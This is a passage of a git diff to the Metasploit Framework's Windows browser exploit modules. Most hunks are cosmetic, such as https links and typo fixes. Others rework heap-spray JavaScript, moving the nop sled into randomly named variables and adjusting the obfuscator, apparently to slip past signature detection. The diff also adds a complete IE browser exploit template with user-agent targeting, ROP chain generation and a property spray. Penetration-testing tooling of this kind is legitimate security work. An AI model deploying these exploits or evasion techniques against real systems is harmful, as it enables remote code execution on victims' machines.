+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x80000) nops += nops;
 
@@ -173,12 +175,14 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     spray = <<-JS
 
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
     var nops_90 = unescape("#{js_90_nops}");
     var rop_chain = unescape("#{js_rop}");
 
@@ -396,7 +400,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     sploit = "http://"
diff --git a/modules/exploits/windows/browser/cisco_webex_ext.rb b/modules/exploits/windows/browser/cisco_webex_ext.rb
index ccd1d3636a..04ed6f339e 100644
--- a/modules/exploits/windows/browser/cisco_webex_ext.rb
+++ b/modules/exploits/windows/browser/cisco_webex_ext.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/citrix_gateway_actx.rb b/modules/exploits/windows/browser/citrix_gateway_actx.rb
index 11e06cbd12..2bd69e3f79 100644
--- a/modules/exploits/windows/browser/citrix_gateway_actx.rb
+++ b/modules/exploits/windows/browser/citrix_gateway_actx.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -129,12 +129,15 @@ class MetasploitModule < Msf::Exploit::Remote
 
     # payload in JS format
     code = Rex::Text.to_unescape(payload.encoded)
+    randnop = rand_text_alpha(rand(100) + 1)
+    js_nops = Rex::Text.to_unescape("\x0c"*4)
 
     #For debugging purposes: nops.substring(0,0x534) lands the payload exactly at 0x0c0c0c0c for IE6
     spray = <<-JS
     var heap_lib = new heapLib.ie(0x20000);
     var code = unescape("#{code}");
-    var nops = unescape("%u0c0c%u0c0c");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x1000) nops += nops;
     var offset = nops.substring(0, 0x550);
@@ -152,7 +155,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     spray = heaplib(spray, {:noobfu => true})
     spray = ::Rex::Exploitation::JSObfu.new(spray)
-    spray.obfuscate
+    spray.obfuscate(memory_sensitive: true)
 
     load = %Q|
     var d=document.getElementById("nsepadiv");
diff --git a/modules/exploits/windows/browser/clear_quest_cqole.rb b/modules/exploits/windows/browser/clear_quest_cqole.rb
index 68464f17b2..a60a1bdfe4 100644
--- a/modules/exploits/windows/browser/clear_quest_cqole.rb
+++ b/modules/exploits/windows/browser/clear_quest_cqole.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -112,7 +112,6 @@ class MetasploitModule < Msf::Exploit::Remote
     send_response(cli, html, {'Content-Type'=>'text/html'})
 
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/browser/communicrypt_mail_activex.rb b/modules/exploits/windows/browser/communicrypt_mail_activex.rb
index 8f40bc6cc4..286239a870 100644
--- a/modules/exploits/windows/browser/communicrypt_mail_activex.rb
+++ b/modules/exploits/windows/browser/communicrypt_mail_activex.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'CommuniCrypt Mail 1.16 SMTP ActiveX Stack Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in the ANSMTP.dll/AOSMTP.dll
-        ActiveX Control provided by CommuniCrypt Mail 1.16.  By sending a overly
+        ActiveX Control provided by CommuniCrypt Mail 1.16.  By sending an overly
         long string to the "AddAttachments()" method, an attacker may be able to
         execute arbitrary code.
       },
@@ -88,5 +88,4 @@ var #{strname} = new String('#{sploit}');
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/creative_software_cachefolder.rb b/modules/exploits/windows/browser/creative_software_cachefolder.rb
index 0057efc993..d979587708 100644
--- a/modules/exploits/windows/browser/creative_software_cachefolder.rb
+++ b/modules/exploits/windows/browser/creative_software_cachefolder.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -68,12 +68,16 @@ class MetasploitModule < Msf::Exploit::Remote
     rand7  = rand_text_alpha(rand(100) + 1)
     rand8  = rand_text_alpha(rand(100) + 1)
 
+    randnop = rand_text_alpha(rand(100) + 1)
+    js_nops = Rex::Text.to_unescape("\x0c"*4)
+
     content = %Q|
       <html>
         <object id='#{vname}' classid='clsid:0A5FD7C5-A45C-49FC-ADB5-9952547D5715'></object>
         <script language="JavaScript">
         var #{rand1} = unescape('#{shellcode}');
-        var #{rand2} = unescape("%u0c0c%u0c0c");
+        var #{randnop} = "#{js_nops}";
+        var #{rand2} = unescape(#{randnop});
         var #{rand3} = 20;
         var #{rand4} = #{rand3} + #{rand1}.length;
         while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
@@ -100,5 +104,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb
index ee42e23d5e..b281f2aae4 100644
--- a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb
+++ b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -137,13 +137,15 @@ class MetasploitModule < Msf::Exploit::Remote
   def ie_heap_spray(my_target, p)
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     # Land the payload at 0x0c0c0c0c
     # For IE 6, 7, 8
     js = %Q|
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
     while (nops.length < 0x80000) nops += nops;
     var offset = nops.substring(0, #{my_target['Offset']});
     var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
@@ -159,7 +161,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     return js
@@ -308,5 +310,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Sending HTML...")
     send_response(cli, html, {'Content-Type'=>'text/html'})
   end
-
 end
diff --git a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb
index d242073820..c482cb5b58 100644
--- a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb
+++ b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -83,11 +83,13 @@ class MetasploitModule < Msf::Exploit::Remote
     p = payload.encoded
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     js = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x80000) nops += nops;
     var offset = nops.substring(0, #{my_target['Offset']});
@@ -126,7 +128,6 @@ class MetasploitModule < Msf::Exploit::Remote
     send_response(cli, html, {'Content-Type'=>'text/html'})
 
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/browser/dxstudio_player_exec.rb b/modules/exploits/windows/browser/dxstudio_player_exec.rb
index 52449397f0..ad7b25ddbc 100644
--- a/modules/exploits/windows/browser/dxstudio_player_exec.rb
+++ b/modules/exploits/windows/browser/dxstudio_player_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/ea_checkrequirements.rb b/modules/exploits/windows/browser/ea_checkrequirements.rb
index ae1948b122..92f3a77f3e 100644
--- a/modules/exploits/windows/browser/ea_checkrequirements.rb
+++ b/modules/exploits/windows/browser/ea_checkrequirements.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Electronic Arts SnoopyCtrl ActiveX Control Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Electronic Arts SnoopyCtrl
-        ActiveX Control (NPSnpy.dll 1.1.0.36. When sending a overly long
+        ActiveX Control (NPSnpy.dll 1.1.0.36. When sending an overly long
         string to the CheckRequirements() method, an attacker may be able
         to execute arbitrary code.
       },
@@ -89,7 +89,7 @@ class MetasploitModule < Msf::Exploit::Remote
     }
     js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
     js.update_opts(js_heap_spray.opts)
-    js.obfuscate()
+    js.obfuscate(memory_sensitive: true)
     content = %Q|<html>
 <body>
 <script><!--
@@ -107,5 +107,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb b/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb
index 4c51245e5a..44bfe234e5 100644
--- a/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb
+++ b/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -58,6 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote
     shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
 
     nops    = Rex::Text.to_unescape(make_nops(4))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     ret     = Rex::Text.uri_encode([target.ret].pack('L'))
 
@@ -76,7 +77,8 @@ class MetasploitModule < Msf::Exploit::Remote
 <object classid='clsid:BA83FD38-CE14-4DA3-BEF5-96050D55F78A' id='#{vname}'></object>
 <script language='javascript'>
 var #{rand1} = unescape('#{shellcode}');
-var #{rand2} = unescape('#{nops}');
+var #{randnop} = "#{nops}";
+var #{rand2} = unescape(#{randnop});
 var #{rand3} = 20;
 var #{rand4} = #{rand3} + #{rand1}.length;
 while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
@@ -100,5 +102,4 @@ for (#{var_i} = 0; #{var_i} < 1324; #{var_i}++) { #{rand8} = #{rand8} + unescape
 
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb
index 7ac6b4155e..16559e0337 100644
--- a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb
+++ b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -92,5 +92,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler(cli)
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb b/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb
index 99e310c967..56f4038def 100644
--- a/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb
+++ b/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -84,5 +84,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/example.rb b/modules/exploits/windows/browser/example.rb
new file mode 100644
index 0000000000..17932df496
--- /dev/null
+++ b/modules/exploits/windows/browser/example.rb
@@ -0,0 +1,146 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+###
+#
+# This exploit sample demonstrates how a typical browser exploit is written using commonly
+# used components such as: HttpServer, BrowserAutopwn, RopDB, DOM Element Property Spray.
+#
+###
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::HttpServer::HTML
+  include Msf::Exploit::RopDb
+  include Msf::Exploit::Remote::BrowserAutopwn
+
+  # Set :classid and :method for ActiveX exploits. For example:
+  # :classid    => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}",
+  # :method     => "SetShapeNodeType",
+  autopwn_info(
+    ua_name:    HttpClients::IE,
+    ua_minver:  "8.0",
+    ua_maxver:  "10.0",
+    javascript: true,
+    os_name:    OperatingSystems::Match::WINDOWS,
+    rank:       NormalRanking
+  )
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'           => "Module Name",
+        'Description'    => %q(
+          This template covers IE8/9/10, and uses the user-agent HTTP header to detect
+          the browser version.  Please note IE8 and newer may emulate an older IE version
+          in compatibility mode, in that case the module won't be able to detect the
+          browser correctly.
+        ),
+        'License'        => MSF_LICENSE,
+        'Author'         => [ 'sinn3r' ],
+        'References'     =>
+          [
+            [ 'URL', 'https://metasploit.com' ]
+          ],
+        'Platform'       => 'win',
+        'Targets'        =>
+          [
+            [ 'Automatic', {} ],
+            [ 'IE 8 on Windows XP SP3', { 'Rop' => :jre } ],
+            [ 'IE 8 on Windows Vista',  { 'Rop' => :jre } ],
+            [ 'IE 8 on Windows 7',      { 'Rop' => :jre } ],
+            [ 'IE 9 on Windows 7',      { 'Rop' => :jre } ],
+            [ 'IE 10 on Windows 8',     { 'Rop' => :jre } ]
+          ],
+        'Payload'        =>
+          {
+            'BadChars'        => "\x00", # js_property_spray
+            'StackAdjustment' => -3500
+          },
+        'Privileged'     => false,
+        'DisclosureDate' => "Apr 1 2013",
+        'DefaultTarget'  => 0
+      )
+    )
+  end
+
+  def get_target(agent)
+    return target if target.name != 'Automatic'
+
+    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
+    ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
+
+    ie_name = "IE #{ie}"
+
+    case nt
+    when '5.1'
+      os_name = 'Windows XP SP3'
+    when '6.0'
+      os_name = 'Windows Vista'
+    when '6.1'
+      os_name = 'Windows 7'
+    when '6.2'
+      os_name = 'Windows 8'
+    when '6.3'
+      os_name = 'Windows 8.1'
+    end
+
+    targets.each do |t|
+      if (!ie.empty? && t.name.include?(ie_name)) && (!nt.empty? && t.name.include?(os_name))
+        return t
+      end
+    end
+
+    nil
+  end
+
+  def get_payload(t)
+    stack_pivot = "\x41\x42\x43\x44"
+    code        = payload.encoded
+
+    case t['Rop']
+    when :msvcrt
+      print_status("Using msvcrt ROP")
+      rop_payload = generate_rop_payload('msvcrt', code, 'pivot' => stack_pivot, 'target' => 'xp')
+
+    else
+      print_status("Using JRE ROP")
+      rop_payload = generate_rop_payload('java', code, 'pivot' => stack_pivot)
+    end
+
+    rop_payload
+  end
+
+  def get_html(t)
+    js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
+    html = %|
+      <script>
+      #{js_property_spray}
+
+      var s = unescape("#{js_p}");
+      sprayHeap({shellcode:s});
+      </script>
+    |
+
+    html.gsub(/^\t\t/, '')
+  end
+
+  def on_request_uri(cli, request)
+    agent = request.headers['User-Agent']
+    print_status("Requesting: #{request.uri}")
+
+    target = get_target(agent)
+    if target.nil?
+      print_error("Browser not supported, sending 404: #{agent}")
+      send_not_found(cli)
+      return
+    end
+
+    print_status("Target selected as: #{target.name}")
+    html = get_html(target)
+    send_response(cli, html, 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache')
+  end
+end
diff --git a/modules/exploits/windows/browser/facebook_extractiptc.rb b/modules/exploits/windows/browser/facebook_extractiptc.rb
index c754f01952..f8ea1d51ed 100644
--- a/modules/exploits/windows/browser/facebook_extractiptc.rb
+++ b/modules/exploits/windows/browser/facebook_extractiptc.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -94,5 +94,4 @@ while (#{rand1}.length <= 261) #{rand1} = #{rand1} + unescape('#{filler}');
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/firefox_smil_uaf.rb b/modules/exploits/windows/browser/firefox_smil_uaf.rb
index 9d3233792f..8bfb7252db 100644
--- a/modules/exploits/windows/browser/firefox_smil_uaf.rb
+++ b/modules/exploits/windows/browser/firefox_smil_uaf.rb
@@ -1,9 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-  class MetasploitModule < Msf::Exploit::Remote
+class MetasploitModule < Msf::Exploit::Remote
     Rank = NormalRanking
 
     include Msf::Exploit::Remote::BrowserExploitServer
diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb
index 1a140082f0..d78638772f 100644
--- a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb
+++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -186,5 +186,4 @@ class MetasploitModule < Msf::Exploit::Remote
       handler(cli)
     end
   end
-
 end
diff --git a/modules/exploits/windows/browser/getgodm_http_response_bof.rb b/modules/exploits/windows/browser/getgodm_http_response_bof.rb
index 42b7e815d4..dbac05a1ce 100644
--- a/modules/exploits/windows/browser/getgodm_http_response_bof.rb
+++ b/modules/exploits/windows/browser/getgodm_http_response_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/gom_openurl.rb b/modules/exploits/windows/browser/gom_openurl.rb
index b0b651a5ef..8ad6660287 100644
--- a/modules/exploits/windows/browser/gom_openurl.rb
+++ b/modules/exploits/windows/browser/gom_openurl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -84,5 +84,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/greendam_url.rb b/modules/exploits/windows/browser/greendam_url.rb
index b15c5672a5..b3ca7597ce 100644
--- a/modules/exploits/windows/browser/greendam_url.rb
+++ b/modules/exploits/windows/browser/greendam_url.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb
index 91d39b4599..9f0c08ac86 100644
--- a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb
+++ b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -199,5 +199,4 @@ SetLocale(#{var_origLoc})|)
     send_response(cli, html, {'Content-Type'=>'text/html'})
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/honeywell_tema_exec.rb b/modules/exploits/windows/browser/honeywell_tema_exec.rb
index 862cb02783..3b330b079f 100644
--- a/modules/exploits/windows/browser/honeywell_tema_exec.rb
+++ b/modules/exploits/windows/browser/honeywell_tema_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,11 +13,11 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => "Honeywell Tema Remote Installer ActiveX Remote Code Execution",
       'Description'    => %q{
-          This modules exploits a vulnerability found in the Honewell Tema ActiveX Remote
+          This module exploits a vulnerability found in the Honeywell Tema ActiveX Remote
         Installer.  This ActiveX control can be abused by using the DownloadFromURL()
         function to install an arbitrary MSI from a remote location without checking source
         authenticity or user notification. This module has been tested successfully with
-        the Remote Installer ActiveX installed with HoneyWell EBI R410.1 - TEMA 5.3.0 and
+        the Remote Installer ActiveX installed with Honeywell EBI R410.1 - TEMA 5.3.0 and
         Internet Explorer 6, 7 and 8 on Windows XP SP3.
       },
       'License'        => MSF_LICENSE,
@@ -145,7 +145,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     html = <<-EOS
@@ -163,5 +163,4 @@ class MetasploitModule < Msf::Exploit::Remote
     send_response(cli, html, {'Content-Type'=>'text/html'})
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb
index f0d05d0803..c9377db86d 100644
--- a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb
+++ b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -102,6 +102,7 @@ class MetasploitModule < Msf::Exploit::Remote
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
     js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     # Land the payload at 0x0c0c0c0c
     case my_target
@@ -131,7 +132,8 @@ class MetasploitModule < Msf::Exploit::Remote
 
       var heap_obj = new heapLib.ie(0x10000);
       var code = unescape("#{js_code}");
-      var nops = unescape("#{js_random_nops}");
+      var #{randnop} = "#{js_random_nops}";
+      var nops = unescape(#{randnop});
       while (nops.length < 0x80000) nops += nops;
       var offset_length = #{my_target['Offset']};
       for (var i=0; i < 0x1000; i++) {
@@ -150,7 +152,8 @@ class MetasploitModule < Msf::Exploit::Remote
       js = %Q|
       var heap_obj = new heapLib.ie(0x20000);
       var code = unescape("#{js_code}");
-      var nops = unescape("#{js_nops}");
+      var #{randnop} = "#{js_nops}";
+      var nops = unescape(#{randnop});
       while (nops.length < 0x80000) nops += nops;
       var offset = nops.substring(0, #{my_target['Offset']});
       var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
@@ -168,7 +171,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     return js
@@ -264,5 +267,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Sending HTML...")
     send_response(cli, html, {'Content-Type'=>'text/html'})
   end
-
 end
diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb
index ef086095f8..5f4218e44a 100644
--- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb
+++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -151,5 +151,4 @@ class MetasploitModule < Msf::Exploit::Remote
     @mof_content = Rex::Text.to_hex(generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs"))
     super
   end
-
 end
diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb
index 30c4625a13..10d3291b6f 100644
--- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb
+++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -164,5 +164,4 @@ class MetasploitModule < Msf::Exploit::Remote
     @mof_content = Rex::Text.to_hex(generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs"))
     super
   end
-
 end
diff --git a/modules/exploits/windows/browser/hp_loadrunner_addfile.rb b/modules/exploits/windows/browser/hp_loadrunner_addfile.rb
index f57140d5ec..abd4d7cca5 100644
--- a/modules/exploits/windows/browser/hp_loadrunner_addfile.rb
+++ b/modules/exploits/windows/browser/hp_loadrunner_addfile.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -96,5 +96,4 @@ function check()
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb b/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb
index f9dc9279f2..fbc4208556 100644
--- a/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb
+++ b/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -82,5 +82,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb
index 639206ca85..0c72792605 100644
--- a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb
+++ b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -111,6 +111,7 @@ class MetasploitModule < Msf::Exploit::Remote
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
     js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     # Land the payload at 0x0c0c0c0c
     case my_target
@@ -140,7 +141,8 @@ class MetasploitModule < Msf::Exploit::Remote
 
       var heap_obj = new heapLib.ie(0x10000);
       var code = unescape("#{js_code}");
-      var nops = unescape("#{js_random_nops}");
+      var #{randnop} = "#{js_random_nops}";
+      var nops = unescape(#{randnop});
       while (nops.length < 0x80000) nops += nops;
       var offset_length = #{my_target['Offset']};
       for (var i=0; i < 0x1000; i++) {
@@ -159,7 +161,8 @@ class MetasploitModule < Msf::Exploit::Remote
       js = %Q|
       var heap_obj = new heapLib.ie(0x20000);
       var code = unescape("#{js_code}");
-      var nops = unescape("#{js_nops}");
